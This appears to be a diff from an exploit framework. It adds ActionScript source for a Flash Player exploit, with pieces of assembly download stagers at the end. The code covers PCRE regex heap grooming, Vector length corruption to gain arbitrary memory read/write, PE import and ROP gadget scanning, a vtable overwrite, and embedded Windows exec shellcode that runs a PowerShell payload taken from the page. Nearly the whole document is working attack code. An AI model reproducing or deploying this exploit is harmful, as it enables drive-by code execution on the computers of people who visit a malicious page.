private const OP_KET:int = 84;
private const OP_CBRA:int = 94;
private const OP_FAIL:int = 108;
private const OP_ACCEPT:int = 109;
private var testSubject:String = 'c01db33f';
private var subject:String = '';
private var count_576:int = 128;
private var pre_576:int = 4;
private var groom_576:Array = new Array(count_576);
private var count_re:int = 8;
private var source_re:Vector.<String> = new Vector.<String>(count_re);
private var compiled_re:Vector.<RegExp> = new Vector.<RegExp>(count_re);
private var subjects:Vector.<String> = new Vector.<String>(count_re);
private var count_504:int = 256 * 3;
private var pre_504:int = 30;
private var groom_504:Array = new Array(count_504);
private var junk:Array = new Array();
private var junk_idx:int = 0;
public static function Debug(message:String):void {
ExternalInterface.call('console.log', message);
}
public function MakeRegex(c:String):String {
var i:int;
var r:String = '(c01db33f|^(' + c + '*)'
for (i = 0; i < 39; ++i) {
r += '(A)';
}
r += '\\'
r += '41';
for (i = 0; i < 20; ++i) {
r += 'A';
}
r += '('
r += '\\'
r += 'c'
r += '\uc080'
r += '*)?(?70))';
return r;
}
public function MakeSubject(c:String):String {
var i:int;
var s:String = c;
for (i = 0; i < 0x80 - 0x3d; ++i) {
s += c;
}
for (i = 0; i < 60; ++i) {
s += 'A';
}
return s;
}
public function MakeByteArray(size:int):ByteArray {
var i:int = 0;
var b:ByteArray = new ByteArray();
b.length = size;
for (i = 0; i < size; ++i) {
b.writeByte(0x23);
}
return b;
}
public function Initialise():void {
for (i = 0; i < 8; ++i) {
subjects[i] = MakeSubject(i.toString());
source_re[i] = MakeRegex(i.toString());
}
}
public function CompileRegex():RegExp {
// heap groom the block of regex bytecode we want to follow our
// legitimate bytecode.
for (i = 0; i < count_576; ++i) {
var b:ByteArray = new ByteArray();
b.length = 576;
// regex nop sled :-p
for (j = 0; j < 500; ++j) {
b.writeByte(OP_ANY);
}
// this is the capturing bracket that find_bracket will be
// looking for to match (?70)
b.writeByte(OP_CBRA);
b.writeByte(1); // WORD length of group (only != 0)
b.writeByte(0);
b.writeByte(0); // WORD number of group (must == 70)
b.writeByte(70);
// we use OP_CBRA to write the current match length at one
// dword past the end of our offset_vector.
//
// this is due to another bug in pcre_exec where it is
// assumed that the group number is
// 0 < number < md->offset_max
// and it is only checked that group < md->offset_max, and
// then indexing is done backwards frm the end of the buffer,
// so a group number of 0 lets us index one dword past the end
// of the offset_vector.
b.writeByte(OP_CBRA);
b.writeByte(0); // WORD length of group
b.writeByte(0);
b.writeByte(0); // WORD number of group
b.writeByte(0);
// we're done with executing this regex for now.
b.writeByte(OP_ACCEPT); // yay a match :-)
b.writeByte(OP_KET); // closing KET for group (?70)
b.writeByte(OP_KET); // closing KET for exploit group
b.writeByte(OP_END);
b.writeByte(0);
groom_576[i] = b;
}
// make some gaps
for (i = 0; i < count_576; i += 2) {
groom_576[i].length = 0;
groom_576[i] = null;
}
for (i = 0; i < (pre_576 * 2); i += 2) {
groom_576[i] = MakeByteArray(576);
}
for (i = 0; i < count_re; ++i) {
try {
Debug('[*] compiling regex');
var re:RegExp = new RegExp(source_re[i]);
compiled_re[i] = re;
var match:Object = re.exec(testSubject);
if (match != null && match[0] == 'c01db33f') {
Debug('[*] compiled successfully');
subject = subjects[i];
return re;
}
else {
// that allocation was no good, fill with a bytearray
junk[junk_idx++] = MakeByteArray(576);
}
} catch (error:Error) {
Debug('[*] error compiling regex: ' + error.message);
}
Debug('[*] failed...');
}
Debug('[*] failed first groom');
return null;
}
public function negative(i:uint):uint {
return (~i) + 1;
}
public function CorruptVector(r:RegExp):Vector.<uint> {
var v:Vector.<uint> = null;
var uv:Vector.<uint> = null;
var ov:Vector.<Object> = null;
for (i = 0; i < count_504; ++i) {
v = new Vector.<uint>(124);
v[0] = 0xc01db33f
v[1] = i;
for (j = 2; j < 124; ++j) {
v[j] = 0x88888888;
}
groom_504[i] = v;
}
for (i = 0; i < count_504; i += 3) {
groom_504[i].length = 0;
groom_504[i] = null;
}
for (i = 0; i < pre_504; i += 1) {
junk[junk_idx++] = MakeByteArray(504);
}
v = null;
for (i = 0; i < 128; i += 3) {
try {
Debug('[*] executing regex');
r.exec(subject);
} catch (error:Error) {
Debug('[*] regex execution failed: ' + error.message);
}
for (j = 1; j < count_504; j += 3) {
if (groom_504[j].length != 124) {
Debug('[*] corrupted vector');
v = groom_504[j];
break;
}
}
if (v != null) {
break;
}
Debug('[*] failed...');
junk[junk_idx++] = MakeByteArray(504);
junk[junk_idx++] = MakeByteArray(504);
}
// at this point we have a vector with a corrupt length, hopefully
// followed by another vector of legitimate length.
if (v == null) {
Debug('[*] failed to groom for vector corruption');
return null;
}
if (v[126] != 0xc01db33f) {
Debug('[*] magic check failed!');
}
// read out the index of the following vector; this is the vector
// that we will use for the rest of the exploit
i = v[127];
uv = groom_504[i];
uv.fixed = true;
// corrupt the length of uv so that we can access all of memory :)
v[124] = 0xffffffff;
// first fix the length of the original corrupted array so we don't
// need to worry about it any more...
uv[negative(0x80)] = 0x6e;
// now read back 0x1f8 bytes before the first vector; this must be
// inside the original offset_vector that we overflowed, (so it is
// guaranteed to be safe) and this buffer is directly free'd at the
// end of pcre_exec. as it's quite a large allocation, we can be
// quite sure that it is still on the freelist and we can steal the
// freelist pointer from it, which will likely point to the block
// after our second vector.
uv[0] = uv[negative(0xfe)];
// we really can't do much sanity checking here; all we know is
// that this should be a pointer, and it will be 8 byte aligned.
if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) {
Debug('[*] freelist ptr sanity check failed!');
uv[negative(2)] = 0x6e;
return null;
}
// uv[0] == address of our vector.<uint>'s buffer
uv[0] -= 0x1f0;
return uv;
}
public function FindGCHeap(m:Memory):uint {
// nothing much to say about this; we know that there's a
// FixedBlock at the start of the page that our vector is allocated
// on, and that holds a pointer back to the global GCHeap, which is
// a static singleton in the flash module. I've copied in the class
// declarations for the structures being traversed, for reference.
var fixed_block:uint = m.vector_base & 0xfffff000;
/*
struct FixedBlock
{
void* firstFree; // First object on the block's free list
void* nextItem; // First object free at the end of the block
FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator)
FixedBlock* prev; // Previous block on the list of blocks
uint16_t numAlloc; // Number of items allocated from the block
uint16_t size; // Size of objects in the block
FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator)
FixedBlock *prevFree; // Previous block on the list of blocks with free items
-------> FixedAlloc *alloc; // The allocator that owns this block
char items[1];l // Memory for objects starts here
};
*/
var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c);
/*
class FixedAlloc
{
private:
-------> GCHeap *m_heap; // The heap from which we obtain memory
uint32_t m_itemsPerBlock; // Number of items that fit in a block
uint32_t m_itemSize; // Size of each individual item
FixedBlock* m_firstBlock; // First block on list of free blocks
FixedBlock* m_lastBlock; // Last block on list of free blocks
FixedBlock* m_firstFree; // The lowest priority block that has free items
size_t m_numBlocks; // Number of blocks owned by this allocator
#ifdef MMGC_MEMORY_PROFILER
size_t m_totalAskSize; // Current total amount of memory requested from this allocator
#endif
bool const m_isFixedAllocSafe; // true if this allocator's true type is FixedAllocSafe
}
*/
var gcheap:uint = m.read_dword(fixed_alloc);
return gcheap;
}
public function FindPwned(m:Memory, gcheap:uint):uint {
// we're going to walk the heap to find it because we don't like
// being crashy. a lazier approach would be to spray a ton of
// objects and scan forward from our array; this is more reliable.
/*
class GCHeap
{
public:
-------> Region *lastRegion;
private:
...
};
*/
// I have no idea why this is at offset 4. GCheap is not virtual
// so perhaps the Flash code has changed since the github avmplus
// release.
var region:uint = m.read_dword(gcheap + 4);
/*
class Region
{
public:
Region *prev;
char *baseAddr;
char *reserveTop;
char *commitTop;
size_t blockId;
};
*/
while (region != 0) {
var region_base:uint = m.read_dword(region + 4);
var region_rtop:uint = m.read_dword(region + 8);
var region_top:uint = m.read_dword(region + 12);
if (region_rtop & 1 != 0) {
Debug('[*] this browser already got pwned, go away');
return 0;
}
m.write_dword(region + 8, region_rtop + 1);
// TODO: we can optimise here as we know the alignment of the
// magic values.
Debug(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']');
for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) {
if (m.read_dword(ptr) == 0xdecafbad
&& m.read_dword(ptr + 4) == 0xdecafbad) {
// we have found our two magic values
return ptr - 0x10;
}
}
// region = region->prev;
region = m.read_dword(region);
}
return 0;
}
public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
var myshellcode:Array = GetPayload();
// at this point we are sandwiched on the stack between the current
// frame and the previous frame; this is hazardous, we need to
// shift our stack back above the current frame or things will go
// wrong(tm).
v[i++] = 0x1000ec81; // 81ec00100000 sub esp, 0x1000
v[i++] = 0x90900000;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
// Our payload (see GetPayload)
for (var payload_i:int; payload_i < myshellcode.length; payload_i++) {
v[i++] = myshellcode[payload_i];
}
v[i++] = 0x90909090;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
// we just put things back how they were; at least, everything
// important. we need esp and ebp to be correct, which is easy;
// we need ecx to point to the object's vtable and then we can
// just jump to the actual method implementation as though we
// had hooked it.
v[i++] = 0x0bf8c481; // 81C4F80B0000 add esp,0xbf8
v[i++] = 0x90900000;
v[i++] = 0x1c24ac8d; // 8DAC241c120000 lea ebp,[esp+0x121c]
v[i++] = 0x90000012;
v[i++] = 0xb9909090; // B944434241 mov ecx, vtable_ptr
v[i++] = ptr;
v[i++] = 0xb8909090; // B844434241 mov eax, orig_function_ptr
v[i++] = fun;
v[i++] = 0x9090e0ff; // FFE0 jmp eax
}
public function GetPayload():Array {
// Grab the powershell payload from the sh parameter in the HTML file
var b64:Base64Decoder = new Base64Decoder();
var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
b64.decode(raw_psh_payload);
var psh_payload:String = b64.toByteArray().toString();
// This is generated from here:
// ./msfvenom -p windows/exec CMD=AAAA -f ruby -e generic/none
// The original souce can be found at: msf/externa/source/shellcode/single_exec.asm
var payload:String = "" +
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14" +
"\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59" +
"\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68" +
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00";
// Here we convert the binary string to an array of DWORDS
var arr:Array = new Array();
for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) {
var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join("");
var hex:String = "";
for (var i2:int = 0; i2 < dword.length; i2++) {
var byte:String = dword.charCodeAt(i2).toString(16);
// The toString(16) conversion doesn't print zeros the way we want it.
// Like for example: for a null byte, it returns: '0', but the format should be: '00'
// Another example: For 0x0c, it returns 'c', but it should be '0c'
if (byte == '0') {
byte = "00";
} else if (byte.length == 1) {
byte = '0' + byte;
}
hex += byte;
}
var real_dword:uint = parseInt(hex, 16);
arr.push(real_dword);
}
return arr;
}
public function Main() {
i = 0;
Initialise();
var r:RegExp = CompileRegex();
if (r == null) {
return;
}
Debug("Corrupting Vector");
var v:Vector.<uint> = CorruptVector(r);
if (v == null) {
Debug("CorruptVector returns null");
return;
}
var m:Memory = new Memory(v, v[0], 0x6e);
// at this point we have an absolute read/write primitive letting
// us read and write dwords anywhere in memory, so everything else
// is a technicality.
// we need an exception handler from here, because we have a vector
// that's addressing the whole address space, and if anything goes
// wrong, we want to clean that up or things will get unpleasant.
try {
// first we follow some pointers on the heap back to retrieve
// the address of the static GCHeap object in the flash module.
// this is useful for two reasons; firstly it gives us a
// pointer into the flash module, but secondly (and more
// importantly) we can use the region lists in the GCHeap
// structure to safely scan the heap to find things.
var gcheap:uint = FindGCHeap(m);
if (gcheap == 0) {
return;
}
// now we can parse the flash module in memory, locate useful
// imports and find the stack adjust gadget that we need.
Debug('[*] scanning flash module for gadgets');
var p:PE32 = new PE32(m, gcheap);
Debug(' [-] ' + p.base.toString(16) + ' flash base');
var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect');
Debug(' [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect');
// Find this in Flash
// 81 c4 40 00 00 00 add esp, 40h
// c3 ret
var gadget_bytes:ByteArray = new ByteArray();
gadget_bytes.length = 7;
gadget_bytes.writeByte(0x81);
gadget_bytes.writeByte(0xc4);
gadget_bytes.writeByte(0x40);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0xc3);
var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes);
var ret:uint = add_esp_40h_ret + 6;
Debug(' [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret');
Debug(' [-] ' + ret.toString(16) + ' ret');
// now we create an actionscript class that we can readily
// signature on the heap; we're going to find this object and
// overwrite its vtable pointer to gain control of execution.
Debug('[*] scanning heap to find pwned object');
var pwned:Pwned = new Pwned();
var pwned_ptr:uint = FindPwned(m, gcheap);
Debug('[*] pwned object: ' + pwned_ptr.toString(16));
if (pwned_ptr == 0) {
return;
}
// we have a pointer to the object; save the vtable pointer for
// replacement later and then create a new vtable containing
// our gadget at the correct offset for the 'Rop' function.
// object ptr is actually a ScriptObject* for our ClassClosure?
var object_ptr:uint = m.read_dword(pwned_ptr + 8);
var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4);
var method_ptr:uint = m.read_dword(vtable_ptr + 4);
var shellcode:uint = m.vector_base + 4;
WriteShellcode(v, 1, vtable_ptr, method_ptr);
// invoking the method first makes our life simpler; otherwise
// flash will go hunt for the right method, and recovery was
// quite messy.
var a:uint = 0x61616161;
pwned.Rop(
a, a, a, a, a, a, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret);
// overwrite the method pointer
m.write_dword(vtable_ptr + 4, add_esp_40h_ret);
// fix up our vector length already, since we won't need it again.
m.Cleanup();
var PAGE_EXECUTE_READWRITE:uint = 0x40;
// where better to rop than the actual stack :-P
Debug('[*] getting ma rop on');
pwned.Rop(
// ret sled oh yeah!
// actually this is just me lazily making stack space so
// that VirtualProtect doesn't trample all over any of
// flash's stuff and make it have a sad.
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // 3f
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // 7f
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // cf
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
virtual_protect, // BOOL WINAPI VirtualProtect(
shellcode, // ...
shellcode, // LPVOID lpAddress,
0x1000, // SIZE_T dwSize,
PAGE_EXECUTE_READWRITE, // DWORD flNewProtect,
m.vector_base, // LPDWORD lpflOldProtect
// );
0x41414141, 0x41414141);
Debug('[*] we survived!');
// no need to fix the vtable, as we only overwrote the pointer
// for the Rop method, and it won't get called again.
} catch (e:Error) {
Debug('[!] error: ' + e.message);
} finally {
// we *always* need to clean up our corrupt vector as flash
// will try to zero it out later otherwise...
Debug('[*] cleaning up corrupted vector');
m.Cleanup();
}
}
}
}

View File

@ -0,0 +1,150 @@
package
{
// some utilities to encapsulate using the relative read/write of the
// corrupt vector.<uint> as an absolute read/write of the whole address
// space.
public class Memory
{
public var vector:Vector.<uint>;
public var vector_base:uint;
public var vector_size:uint;
private static function negative(i:uint):uint {
return (~i) + 1;
}
public function Memory(v:Vector.<uint>, b:uint, s:uint) {
vector = v;
vector_base = b;
vector_size = s;
}
public function Cleanup():void {
// restore the correct size to our vector so that flash doesn't
// inadvertently trample on lots of memory.
vector[negative(2)] = vector_size;
}
public function read_dword(address:uint):uint {
var offset:uint = 0;
if (address & 0x3 != 0) {
// NB: we could read 2 dwords here, and produce the correct
// dword, but that could lead to oob reads if we're close to
// a page boundary. take the path of least danger, and throw
// for debugging.
throw 'read_dword called with misaligned address'
}
if (address < vector_base) {
offset = negative((vector_base - address) >> 2);
}
else {
offset = address - vector_base >> 2;
}
try {
return vector[offset];
} catch (e:Error) {
// we can't read at offset 0xffffffff, sometimes we will want
// to, but that is just life.
}
return 0;
}
public function read_byte(address:uint):uint {
var dword_address:uint = address & 0xfffffffc;
var dword:uint = read_dword(dword_address);
while (address & 0x3) {
dword = dword >> 8;
address -= 1;
}
return (dword & 0xff);
}
public function read_string(address:uint):String {
var string:String = '';
var dword:uint = 0;
while (address & 0x3) {
var char:uint = read_byte(address);
if (char == 0) {
return string;
}
string += String.fromCharCode(char);
address += 1;
}
while (true) {
dword = read_dword(address);
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
dword = dword >> 8;
}
else {
return string;
}
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
dword = dword >> 8;
}
else {
return string;
}
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
dword = dword >> 8;
}
else {
return string;
}
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
}
else {
return string;
}
address += 4;
}
return string;
}
public function write_dword(address:uint, value:uint):void {
var offset:uint = 0;
if (address & 0x3 != 0) {
// NB: we could read 2 dwords here, and write 2 dwords, and
// produce the correct dword, but that could lead to oob reads
// and writes if we're close to a page boundary. take the path
// of least danger, and throw for debugging.
throw 'write_dword called with misaligned address'
}
if (address < vector_base) {
offset = negative((vector_base - address) >> 2);
}
else {
offset = (address - vector_base) >> 2;
}
vector[offset] = value;
}
}
}

View File

@ -0,0 +1,157 @@
package
{
import flash.utils.ByteArray;
public class PE32
{
private var m:Memory;
public var base:uint;
public var dos_header:uint;
public var nt_header:uint;
public var file_header:uint;
public var opt_header:uint;
private function FindBase(ptr:uint):uint {
ptr = ptr & 0xffff0000;
var dword:uint = m.read_dword(ptr);
while ((dword & 0xffff) != 0x5a4d) {
ptr -= 0x10000;
dword = m.read_dword(ptr);
}
return ptr;
}
public function ParseHeaders():void {
dos_header = base;
var e_lfanew:uint = m.read_dword(dos_header + 60);
nt_header = dos_header + e_lfanew;
var nt_magic:uint = m.read_dword(nt_header);
if (nt_magic != 0x00004550) {
dos_header = 0;
nt_header = 0;
return;
}
file_header = nt_header + 4;
var machine:uint = m.read_dword(file_header);
if ((machine & 0xffff) != 0x014c) {
dos_header = 0;
nt_header = 0;
file_header = 0;
return;
}
opt_header = nt_header + 24;
var opt_magic:uint = m.read_dword(opt_header);
if ((opt_magic & 0xffff) != 0x10b) {
dos_header = 0;
nt_header = 0;
file_header = 0;
opt_header = 0;
return;
}
}
public function GetImport(mod_name:String, fun_name:String):uint {
if (base == 0 || dos_header == 0) {
return 0;
}
var data_directory:uint = opt_header + 96;
var import_dir:uint = data_directory + 8;
var import_rva:uint = m.read_dword(import_dir);
var import_size:uint = m.read_dword(import_dir + 4);
if (import_size == 0) {
return 0;
}
var import_descriptor:uint = base + import_rva;
var orig_first_thunk:uint = m.read_dword(import_descriptor);
while (orig_first_thunk != 0) {
var module_name_ptr:uint =
dos_header + m.read_dword(import_descriptor + 12);
if (module_name_ptr != 0) {
var module_name:String = m.read_string(module_name_ptr);
if (module_name == mod_name) {
orig_first_thunk += dos_header;
break;
}
}
import_descriptor += (5 * 4);
orig_first_thunk = m.read_dword(import_descriptor);
}
var first_thunk:uint = dos_header + m.read_dword(import_descriptor + 16);
var thunk:uint = orig_first_thunk;
var import_by_name_rva:uint = m.read_dword(thunk);
while (import_by_name_rva != 0) {
var function_name_ptr:uint = dos_header + import_by_name_rva + 2;
var function_name:String = m.read_string(function_name_ptr);
if (function_name == fun_name) {
return m.read_dword(first_thunk);
}
thunk += 4;
first_thunk += 4;
import_by_name_rva = m.read_dword(thunk);
}
return 0;
}
public function GetGadget(gadget:ByteArray):uint {
var opt_header_size:uint = m.read_dword(file_header + 16) & 0xffff;
var section_count:uint = (m.read_dword(file_header) >> 16) & 0xffff;
var section_header:uint = opt_header + opt_header_size;
for (var i:uint = 0; i < section_count; ++i) {
var characteristics:uint = m.read_dword(section_header + (9 * 4));
if ((characteristics & 0xe0000000) == 0x60000000) {
// this section is read/execute, so scan for gadget
var section_rva:uint = m.read_dword(section_header + 12);
var section_size:uint = m.read_dword(section_header + 16);
var section_base:uint = base + section_rva;
var section:ByteArray = new ByteArray();
section.endian = "littleEndian";
section.length = section_size;
for (var j:uint = 0; j < section_size; j += 4) {
section.writeUnsignedInt(
m.read_dword(section_base + j));
}
for (j = 0; j < section_size; j += 1) {
section.position = j;
gadget.position = 0;
while (section.readByte() == gadget.readByte()) {
if (gadget.position == gadget.length) {
return section_base + j;
}
}
}
}
section_header += 10 * 5;
}
return 0;
}
public function PE32(memory:Memory, ptr:uint) {
m = memory;
base = FindBase(ptr);
ParseHeaders();
}
}
}

View File

@ -0,0 +1,51 @@
package
{
public class Pwned
{
public var magic1:uint;
public var magic2:uint;
public function Rop(
arg_00:uint, arg_01:uint, arg_02:uint, arg_03:uint, arg_04:uint, arg_05:uint, arg_06:uint, arg_07:uint,
arg_08:uint, arg_09:uint, arg_0a:uint, arg_0b:uint, arg_0c:uint, arg_0d:uint, arg_0e:uint, arg_0f:uint,
arg_10:uint, arg_11:uint, arg_12:uint, arg_13:uint, arg_14:uint, arg_15:uint, arg_16:uint, arg_17:uint,
arg_18:uint, arg_19:uint, arg_1a:uint, arg_1b:uint, arg_1c:uint, arg_1d:uint, arg_1e:uint, arg_1f:uint,
arg_20:uint, arg_21:uint, arg_22:uint, arg_23:uint, arg_24:uint, arg_25:uint, arg_26:uint, arg_27:uint,
arg_28:uint, arg_29:uint, arg_2a:uint, arg_2b:uint, arg_2c:uint, arg_2d:uint, arg_2e:uint, arg_2f:uint,
arg_30:uint, arg_31:uint, arg_32:uint, arg_33:uint, arg_34:uint, arg_35:uint, arg_36:uint, arg_37:uint,
arg_38:uint, arg_39:uint, arg_3a:uint, arg_3b:uint, arg_3c:uint, arg_3d:uint, arg_3e:uint, arg_3f:uint,
arg_40:uint, arg_41:uint, arg_42:uint, arg_43:uint, arg_44:uint, arg_45:uint, arg_46:uint, arg_47:uint,
arg_48:uint, arg_49:uint, arg_4a:uint, arg_4b:uint, arg_4c:uint, arg_4d:uint, arg_4e:uint, arg_4f:uint,
arg_50:uint, arg_51:uint, arg_52:uint, arg_53:uint, arg_54:uint, arg_55:uint, arg_56:uint, arg_57:uint,
arg_58:uint, arg_59:uint, arg_5a:uint, arg_5b:uint, arg_5c:uint, arg_5d:uint, arg_5e:uint, arg_5f:uint,
arg_60:uint, arg_61:uint, arg_62:uint, arg_63:uint, arg_64:uint, arg_65:uint, arg_66:uint, arg_67:uint,
arg_68:uint, arg_69:uint, arg_6a:uint, arg_6b:uint, arg_6c:uint, arg_6d:uint, arg_6e:uint, arg_6f:uint,
arg_70:uint, arg_71:uint, arg_72:uint, arg_73:uint, arg_74:uint, arg_75:uint, arg_76:uint, arg_77:uint,
arg_78:uint, arg_79:uint, arg_7a:uint, arg_7b:uint, arg_7c:uint, arg_7d:uint, arg_7e:uint, arg_7f:uint,
arg_80:uint, arg_81:uint, arg_82:uint, arg_83:uint, arg_84:uint, arg_85:uint, arg_86:uint, arg_87:uint,
arg_88:uint, arg_89:uint, arg_8a:uint, arg_8b:uint, arg_8c:uint, arg_8d:uint, arg_8e:uint, arg_8f:uint,
arg_90:uint, arg_91:uint, arg_92:uint, arg_93:uint, arg_94:uint, arg_95:uint, arg_96:uint, arg_97:uint,
arg_98:uint, arg_99:uint, arg_9a:uint, arg_9b:uint, arg_9c:uint, arg_9d:uint, arg_9e:uint, arg_9f:uint,
arg_a0:uint, arg_a1:uint, arg_a2:uint, arg_a3:uint, arg_a4:uint, arg_a5:uint, arg_a6:uint, arg_a7:uint,
arg_a8:uint, arg_a9:uint, arg_aa:uint, arg_ab:uint, arg_ac:uint, arg_ad:uint, arg_ae:uint, arg_af:uint,
arg_b0:uint, arg_b1:uint, arg_b2:uint, arg_b3:uint, arg_b4:uint, arg_b5:uint, arg_b6:uint, arg_b7:uint,
arg_b8:uint, arg_b9:uint, arg_ba:uint, arg_bb:uint, arg_bc:uint, arg_bd:uint, arg_be:uint, arg_bf:uint,
arg_c0:uint, arg_c1:uint, arg_c2:uint, arg_c3:uint, arg_c4:uint, arg_c5:uint, arg_c6:uint, arg_c7:uint,
arg_c8:uint, arg_c9:uint, arg_ca:uint, arg_cb:uint, arg_cc:uint, arg_cd:uint, arg_ce:uint, arg_cf:uint,
arg_d0:uint, arg_d1:uint, arg_d2:uint, arg_d3:uint, arg_d4:uint, arg_d5:uint, arg_d6:uint, arg_d7:uint,
arg_d8:uint, arg_d9:uint, arg_da:uint, arg_db:uint, arg_dc:uint, arg_dd:uint, arg_de:uint, arg_df:uint,
arg_e0:uint, arg_e1:uint, arg_e2:uint, arg_e3:uint, arg_e4:uint, arg_e5:uint, arg_e6:uint, arg_e7:uint,
arg_e8:uint, arg_e9:uint, arg_ea:uint, arg_eb:uint, arg_ec:uint, arg_ed:uint, arg_ee:uint, arg_ef:uint,
arg_f0:uint, arg_f1:uint, arg_f2:uint, arg_f3:uint, arg_f4:uint, arg_f5:uint, arg_f6:uint, arg_f7:uint,
arg_f8:uint, arg_f9:uint, arg_fa:uint, arg_fb:uint, arg_fc:uint, arg_fd:uint, arg_fe:uint, arg_ff:uint):uint
{
return magic1 + magic2;
}
public function Pwned()
{
magic1 = 0xdecafbad;
magic2 = 0xdecafbad;
}
}
}

View File

@ -145,7 +145,7 @@ download_more:
test eax,eax ; download failed? (optional?)
jz failure
mov rax, [rdi]
mov ax, word ptr [edi]
add rbx, rax ; buffer += bytes_received
test rax,rax ; optional?

View File

@ -0,0 +1,138 @@
;-----------------------------------------------------------------------------;
; Author: Borja Merino (modification of the HD Moore HTTP stager based on WinINet)
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
%define u(x) __utf16__(x)
